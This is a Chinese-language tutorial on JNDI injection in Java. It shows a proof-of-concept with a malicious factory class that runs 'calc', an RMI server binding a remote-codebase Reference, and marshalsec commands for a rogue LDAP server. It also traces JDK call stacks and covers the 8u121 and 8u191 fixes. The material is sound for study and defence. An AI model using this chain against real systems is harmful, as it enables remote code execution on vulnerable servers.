通常 JNDI 注入攻击的都是 lookup 方法的执行者,一般步骤如下:
- 目标机器中调用了
InitialContext.lookup(URL)
,且 URL 为用户可控 - 攻击者控制这个 URL 为一个恶意的 RMI 服务地址:
rmi://hack:port/name
- 恶意 RMI 服务会返回一个含有恶意 factory 的 Reference 对象
- 目标获取到 Reference 之后会动态加载 factory
- 攻击者可以在恶意 factory 的静态代码块、构造方法写入恶意代码,在目标实例化 factory 的时候被 RCE
可以通过 RMI 方式和 LDAP 方式来达到攻击效果。
RMI 方式(8u121 ↓)
利用
把一个恶意的 factory 类编译成字节码,用 http 服务托管:
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
}
> javac Calc.java
> python3 -m http.server 9999
然后起恶意的 RMI 服务端:
public class EvilRmiServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "Calc", "http://localhost:9999/");
ReferenceWrapper calc = new ReferenceWrapper(reference);
registry.bind("calc", calc);
}
}
如果客户端 lookup 方法参数可控,则会被 RCE:
简单分析
getObjectInstance:319, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
前面几个步骤是解析 url 获取上下文信息(略),从 RegistryContext#lookup
方法开始看:
这里的 this.registry
仍然是 RegistryImpl_Stub,执行lookup
方法获取到的是一个 ReferenceWrapper_Stub 对象,在 RegistryContext#decodeObject
方法中会根据这个 ReferenceWrapper_Stub 对象获取 Reference 对象:
先跟进 ReferenceWrapper_Stub#getReference
方法:
在这个方法里调用的是 UnicastRef#invoke
方法,相当于进行了一次远程方法调用(见 RMI 中的 "Client 发送请求"),而调用的方法为:
正好对应着 RMI 服务端中的 ReferenceWrapper#getReference
方法(ReferenceWrapper 实现了 RemoteReference 接口):
于是这次远程方法调用的结果就是返回了远程 ReferenceWrpper 包装的 Reference 对象:
接着往下跟 RegistryContext#decodeObject
,来到 NamingManager#getObjectInstance
方法:
通过 NamingManager#getObjectFactoryFromReference
方法获取 factory 实例,跟进该方法:
如果本地加载失败,会从 codebase 处加载 factory,跟进这个 loadClass 方法:
这里通过 URLClassLoader 加载 factory,然后执行了恶意代码。
修复
在 8u113 (8u121)? 之后 RMI 利用方式的默认不再信任 codebase,RegistryContext#<static>
:
RegistryContext#decodeObject
:
LDAP 方式(8u191 ↓)
利用
使用 marshalsec 可以快速起一个恶意的 LDAP 服务端:
> java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]
恶意 factory 同上,客户端以 ldap 方式 lookup:
> javac Calc.java
> python3 -m http.server 9999
> java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:9999/#Calc 8888
简单分析
getObjectFactoryFromReference:142, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
最后仍然是调用了 NamingManager#getObjectFactoryFromReference
方法。
修复
VersionHelper12 类中:
VersionHelper12#loadClass
: